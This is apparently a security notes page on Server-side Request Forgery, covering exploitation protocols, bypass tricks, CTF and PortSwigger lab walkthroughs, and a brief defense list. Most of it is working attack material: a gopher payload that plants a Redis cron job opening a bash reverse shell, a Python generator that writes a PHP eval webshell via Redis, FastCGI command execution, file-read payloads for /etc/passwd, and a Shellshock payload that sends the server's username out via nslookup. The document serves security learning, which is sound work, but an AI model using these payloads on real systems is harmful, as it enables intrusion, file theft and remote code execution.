Introduction#
Many web applications provide the functionality to fetch data from other servers, commonly referred to as "external resource loading." By using user-specified URLs, web applications can perform various operations, such as fetching images, downloading files, reading file contents, etc. However, if this functionality is misused, attackers can exploit vulnerable web applications as proxies to attack remote and local servers. This type of attack is known as Server-side Request Forgery (SSRF).
In an SSRF attack, the attacker constructs special requests that cause the server-side initiated requests to target systems controlled by the attacker or internal systems. Generally, the targets of SSRF attacks are internal systems that cannot be directly accessed from the external network, such as databases, internal network interfaces, etc., allowing attackers to bypass firewalls and directly access these internal systems.
The formation of SSRF attacks is mainly due to the server providing the functionality to fetch data from other servers without sufficient filtering and restrictions on the target addresses. For example, the server may allow fetching webpage text content from specified URLs, loading images from specified addresses, downloading files, etc. If the server does not implement appropriate security controls for these operations, such as checking whether the URL points to an internal network or restricting the range of accessible URLs, attackers may exploit this functionality to conduct SSRF attacks.
Types#
- Basic (Echo)
- Non-echo
Exploitation Process#
Wherever there is the ability to initiate network requests externally, there may be SSRF vulnerabilities. For example, sending a request to the 8080 port of the localhost (127.0.0.1) returned relevant content, indicating the presence of an SSRF vulnerability.
The request packet is as follows:
POST / HTTP/1.1
Host: 10.211.55.3:8000
Content-Length: 20
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.211.55.3:8000
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.211.55.3:8000/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
url=127.0.0.1%3A8000
Attempting to read local files (Windows)
file://C:\windows\win.ini
file://C:\Windows\System32\drivers\etc\hosts
If in a Linux environment, read the following files:
file:///etc/passwd
file:///etc/hosts
/proc/net/arp
/etc/network/interfaces
Case 1
GET request
http://example.com/index.php?page=about.php
http://example.com/index.php?page=https://google.com
http://example.com/index.php?page=file:///etc/passwd
Case 2
POST request
POST /test/demo_form.php HTTP/1.1
Host: example.com
url=https://example.com/as&name2=value2
Exploitation Methods#
Common Exploitation Methods#
- Internal Port Scanning
- Use DICT, HTTP protocols to probe the open status of internal ports
- Burp Suite brute force
- Brute force common ports, such as 80, 8080, 3306, 6379, etc.
- Directory Scanning
- Burp Suite brute force
- SQL Injection
- Encoding format, double URL encoding
- Command Execution
- Encoding format, double URL encoding
- Gopher protocol
- URL: gopher://[host]:[port]/double URL encoded TCP data stream
- CVE-2017-12615
- Tomcat PUT method to write files
- Redis Unauthorized Access Vulnerability (No Authentication)
- DICT protocol (dict://x.x.x.x:6379/)
- SSRF-XSS
Complex Exploitation Methods#
Blind SSRF Exploitation#
Determine whether a port is open based on response status and response time.
The following is an example table:
Use out-of-band techniques for blind SSRF exploitation.
Various Exploitation Protocols
file:///
dict://
sftp://
ldap://
tftp://
gopher://
Dict Protocol#
If the server prohibits requests to external sites or allows only those in a whitelist, the dict protocol can be used.
dict://127.0.0.1:22/info
dict://127.0.0.1:6379/info
http://example.com/ssrf.php?dict://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 31126)
CLIENT libcurl 7.40.0
Gopher Protocol#
The gopher protocol supports sending GET and POST requests: you can first intercept the GET request packet and POST request packet, then construct a request that conforms to the gopher protocol.
The gopher protocol is the most powerful protocol in SSRF exploitation.
In the following case, a 302 redirect receives the request.
http://example.com/ssrf.php?url=http://attacker.com/gopher.phpgopher.php
<?php
header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');
?>
evil.com:# nc -lvp 1337
Listening on [0.0.0.0] (family 0, port 1337)
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 49398)
Hi
ssrf
test
Format
gopher://<host>:<port>/<gopher-path>_followed by TCP data stream
curl gopher://127.0.0.1:8000/_GET%20test
The default port for gopher is 70.
If sending a POST request, the carriage return and line feed need to be represented as %0d%0a. If there are multiple parameters, the parameters must also be URL encoded.
Sending GET Requests
If you want to send the following payload
GET /test/get.php?name=test HTTP/1.1
Host: 192.168.1.1
It needs to be changed to the following format
curl gopher://192.168.1.2:80/_GET%20/test/get.php%3fname=test%20HTTP/1.1%0d%0AHost:%20192.168.1.2%0d%0A
At the end of the HTTP packet, add %0d%0a, which represents the end of the message.
Sending POST Requests
POST /test/post.php HTTP/1.1
Host: 192.168.1.1
Content-Type:application/x-www-form-urlencoded
Content-Length:11
name=test
It needs to be changed to the following format
curl gopher://192.168.1.1:80/_POST%20/test/post.php%20HTTP/1.1%0d%0AHost:192.168.1.1%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:11%0d%0A%0d%0Aname=test%0d%0A
Exploitation in SSRF
http://192.168.1.1/test/ssrf.php?url=gopher://192.168.1.2:6666/_abc
# Since PHP will perform a URL decoding once after receiving the parameters, it needs to be URL encoded again
http://192.168.1.1/test/ssrf.php?url=gopher%3A%2F%2F192.168.1.2%3A80%2F_GET%2520%2Ftest%2Fget.php%253fname%3Dtest%2520HTTP%2F1.1%250d%250AHost%3A%2520192.168.1.2%250d%250A
The /
in the URL cannot be double encoded, the port number cannot be double encoded, and the protocol name cannot be double encoded.
Using Gopher Protocol to Access Redis for Reverse Shell
curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'
S/FTP Protocol#
SFTP stands for SSH File Transfer Protocol, which is a secure transfer protocol used for file transfers.
http://example.com/ssrf.php?url=sftp://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 37146)
SSH-2.0-libssh2_1.4.2
TFTP#
File Transfer Protocol
http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET
evil.com:# nc -lvup 1337
Listening on [0.0.0.0] (family 0, port 1337)
TESTUDPPACKEToctettsize0blksize512timeout3
File Protocol#
The file protocol is used to read sensitive files from the file system.
http://example.com/ssrf.php?url=file:///etc/passwd
http://example.com/ssrf.php?url=file:///C:/Windows/win.ini
LDAP/S/I#
LDAP stands for Lightweight Directory Access Protocol. It is an application protocol used to manage and access distributed directory information services over IP networks.
http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit
PDF SSRF#
In some cases, the server may convert uploaded files into PDF files.
Try using <iframe>
, <img>
, <base>
, or <script>
tags, CSS url() to request internal services and read sensitive files.
<iframe src="file:///etc/passwd" width="400" height="400">
<iframe src="file:///c:/windows/win.ini" width="400" height="400">
AVI#
FastCGI Protocol#
title: ctfhub target
- First, listen on the server
nc -lvnp 9000 > 1.txt
- The client connects to port 9000 using a Python script
python3 fastcgi1.py -c "<?php system('ls /');?>" -p 9000 1.116.2.18 /var/www/html/index.php
- The generated txt file is then double encoded using the following Python script
# -*- coding: UTF-8 -*-
from urllib.parse import quote, unquote
file= open('2.txt','rb')
payload= file.read()
payload= quote(payload).replace("%0A","%0A%0D")
print("gopher://127.0.0.1:9000/_"+quote(payload))
Place the payload in the vulnerability parameter.
Knowing the filename, use the cat command to view the flag's content
python3 fastcgi1.py -c "<?php system('cat /flag_63145aa166622ee7912b2e512c0601a3');?>" -p 9000 1.116.2.18 /var/www/html/index.php
The steps are consistent with the previous ones.
Exploitation Cases#
Port Scanning#
SSRF combined with the DICT protocol can be used to probe the open status of internal ports, only capable of probing TCP echo ports.
Redis#
curl 'gopher://127.0.0.1:6379/_%2a%31%0d%0a%24%37%0d%0a%43%4f%4d%4d%41%4e%44%0d%0a%2a%31%0d%0a%24%34%0d%0a%69%6e%66%6f%0d%0a'
Tools#
https://github.com/firebroo/sec_tools/tree/master/redis-over-gopher
The above tool needs to be URL encoded again.
[[ctfhub-skilltree.md#double encoding script|URL double encoding script]]
Writing Shell to Redis
import urllib
protocol="gopher://"
ip="192.168.134.132" //IP address
port="6379" //Port
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n" //Content to write is a one-liner backdoor
filename="1.php" //Filename is 1.php
path="/var/www/html" //Default path
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
This tool generates gopher link for exploiting SSRF and gaining RCE in various servers
Case#
[[ctfhub-skilltree.md#redis|SSRF Writing Shell to Redis Scenario]]
Bypass Techniques#
Fuzz Dictionary#
- Web Vulnerabilities -> ssrfDicts
Whitelist#
- Allow specified IPs or domains to access specified resources
The whitelist is: abc.com
Directly cannot read
http://example.com/ssrf.php?url=https://google.com
Need to find an open redirect vulnerability in the whitelist domain and exploit it in conjunction with the open redirect vulnerability.
http://example.com/ssrf.php?url=http://abc.com/?redirect=https://google.com
- Subdomains
Whitelist: *.abc.com
http://example.com/ssrf.php?url=http://subdomain.abc.com/?redirect=https://google.com
Blacklist#
- Change the IP to one of the bypassable IPs below
- Encode the filtered characters
- Or use a domain that points to localhost
Special IPs#
http://0177.1/ # Decimal http://127.0.0.1
http://0x7f.1/ # Hexadecimal http://127.0.0.1
http://127.000.000.1
https://520968996
Error IPs#
http://127.1
http://0
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
urllib : 3.3.3.3
http://127.1.1.1:80\@127.2.2.2:80/
IPv6#
http://[::1]
http://[::]
http://[::]:80/
http://0000::1:80/
Other Protocols#
gopher://
dict://
php://
jar://
tftp://
DNS Spoofing#
10.0.0.1.xip.io
www.10.0.0.1.xip.io
mysite.10.0.0.1.xip.io
foo.bar.10.0.0.1.xip.io
Xip.io#
10.0.0.1.nip.io
app.10.0.0.1.nip.io
customer1.app.10.0.0.1.nip.io
customer2.app.10.0.0.1.nip.io
otherapp.10.0.0.1.nip.io
Encoding Bypass#
These include hexadecimal encoding, octal encoding, double word encoding, URL encoding, and mixed encoding.
127.0.0.1 translates to 0x7f.0x0.0x0.0x1
127.0.0.1 translates to 0177.0.0.01
http://127.0.0.1 translates to http://2130706433
localhost translates to %6c%6f%63%61%6c%68%6f%73%74
Whitelist#
- You can add authentication in front of the URL, separated by @, replacing the username with the internal system IP, and appending the rest of the path at the end, as follows
http://[email protected]/
http://localhost:80#@stock.weliketoshop.net/admin
http://[email protected]/
- You can also use the # sign to separate different URL segments
https://evil-host#expected-host
- Use DNS naming structure
https://expected-host.evil-host
- URL encode characters to obfuscate URL parsers.
302 Redirect#
Sometimes the server may filter many protocols, allowing only "http" or "https" to appear in the incoming URL. In this case, you can write a 302 redirect on your server to exploit the Gopher protocol to attack the internal Redis.
SSRF Lab#
Lab: Basic SSRF against the Local Server#
Capture the packet, normal request
Change stockApi to http://localhost/admin, directly unauthorized access to the backend panel.
Delete the user, input the following parameter: stockApi=http://localhost/admin/delete?username=carlos
Successfully deleted the account
Lab: Basic SSRF against Another Back-end System#
title: Experiment Objective
Port scan the internal network via SSRF to discover open port 8080 in the 192.168.0.X subnet
Similarly, go to the check stock page.
The normal request is as follows:
Send to intruder
Payload settings
By checking the response size, you can see the IP is 192.168.0.154
Delete user carlos, deletion successful.
SSRF with Blacklist-based Input Filter#
Input internal URL, intercepted
Bypass the blacklist, change 127.0.0.1 to 127.1, admin will also be intercepted, perform double encoding on the 'a' of admin, with the second encoding only for special characters.
Delete carlos account.
SSRF with Whitelist-based Input Filters#
The whitelist only allows stock.weliketoshop.net to access.
By inputting http://[email protected]/, it is observed that this embedded credential URL can bypass.
Adding a # sign after username, it is still intercepted, performing double URL encoding on the # sign, it is found to be unblocked.
http://localhost%[email protected]/
Followed by admin, the above image bypasses normally.
Post the package to delete the carlos account.
stockApi=http://localhost%[email protected]/admin/delete?username=carlos
Lab: SSRF with Filter Bypass via Open Redirection Vulnerability#
Achieve SSRF vulnerability through redirect vulnerability, target access
http://192.168.0.12:8080/admin
and delete the usercarlos
First, you need to find an open redirect vulnerability, which can be found in the link redirection on the product detail page.
The link is as follows:
https://0a3300a604b37c64c0333bfc004e00dd.web-security-academy.net/product/nextProduct?currentProductId=18&path=http://www.baidu.com
It can directly redirect to http://www.baidu.com.
Capture the request packet for checking stock.
Send the above packet, indicating that the path parameter is missing.
Removing currentProductId is sufficient.
Delete the user.
Blind SSRF with Out-of-band Detection#
The vulnerability is located in the referer.
Open Burp Collaborator client, copy a domain.
Copy it to the referer and send the request, Burp Collaborator client receives the sent request.
Lab: Blind SSRF with Shellshock Exploitation#
-
To achieve this experiment, first install the "Collaborator Everywhere" plugin, which is included in the Burp store, find and install it.
-
Visit the victim's website and capture the packet, right-click, and add to scope.
- Continue browsing the website, and the "Collaborator Everywhere" plugin will start sending requests, allowing you to view the relevant responses, indicating that there is an SSRF vulnerability here.
- The specific request is as follows
Additional requests have also been added.
Send to the intruder module for brute force, set the User-Agent to the following payload, and set the referer to the internal server subnet that needs to be brute-forced.
() { :; }; /usr/bin/nslookup $(whoami).84acawqr43oy7jeg4ug7khwsmjs9gy.burpcollaborator.net
Set the parameters for brute forcing.
Set the threads to 1.
Start brute forcing and check whether the Burp Collaborator client receives the request.
As shown, the server's username has been obtained.
Vulnerability Impact#
SSRF can be used for port scanning on external networks, the server's internal network, and locally, attacking applications running on internal networks or locally, or using the File protocol to read local files.
Internal service defenses are generally weaker than external service defenses, and some internal services may not have access permission verification for internal access for operational convenience. Therefore, when SSRF exists, it usually causes significant harm.
Defense Methods#
- Filter returned information
- Unified error messages
- Restrict request ports
- Prohibit uncommon protocols
- Consider using DNS caching or host whitelists for DNS rebinding
Others#
-
title: Related Articles
- Analysis of SSRF Principles and Exploitation Methods
- In-depth Study of Gopher Protocol in SSRF Vulnerabilities
- SSRF - Server Side Request Forgery (Types and ways to exploit it) Part-1
- SSRF — Server Side Request Forgery (Types and ways to exploit it) Part-2
- SSRF — Server Side Request Forgery (Types and ways to exploit it) Part-3
- SSRF - Web Security Learning Notes
- SSRF - Various Component Exploitation Methods
- SSRF in PHP
- Understanding Various Bypass Techniques and Attack Ideas for SSRF
- SSRF Learning Record
- Using SSRF to Attack Internal FastCGI Protocol
- FastCGI Protocol Analysis & PHP-FPM Unauthorized Access Vulnerability & Exp Writing
- SSRF Bible. Cheatsheet
-
title: Related Cases
- SSRF Exploitation in Spreadsheet to PDF Converter - SSRF + XXE read file in excel
-
title: WP
-
title: Related Tools
- In3tinct/See-SURF - Python-based SSRF parameter scanning tool
- swisskyrepo/SSRFmap - Automated Fuzz SSRF development tool
- tarunkant/Gopherus - This tool generates gopher payloads to exploit SSRF and gain RCE in various servers
- DNS Rebinding
- Online URL Encoding and Decoding Tool
-
title: Related Resources & Targets
- Guoguang - Step-by-step Guide to Using SSRF to Penetrate Internal Networks
- Guoguang's Step-by-step Guide to Using SSRF to Penetrate Internal Network Target Source Code
- SSRF (Server Side Request Forgery) Testing Resources
- SSRF
- Common Gopher TCP Stream
- PortSwigger - Server-side Request Forgery (SSRF)
- ctfhub - ssrf - Incomplete
- ssrf-lab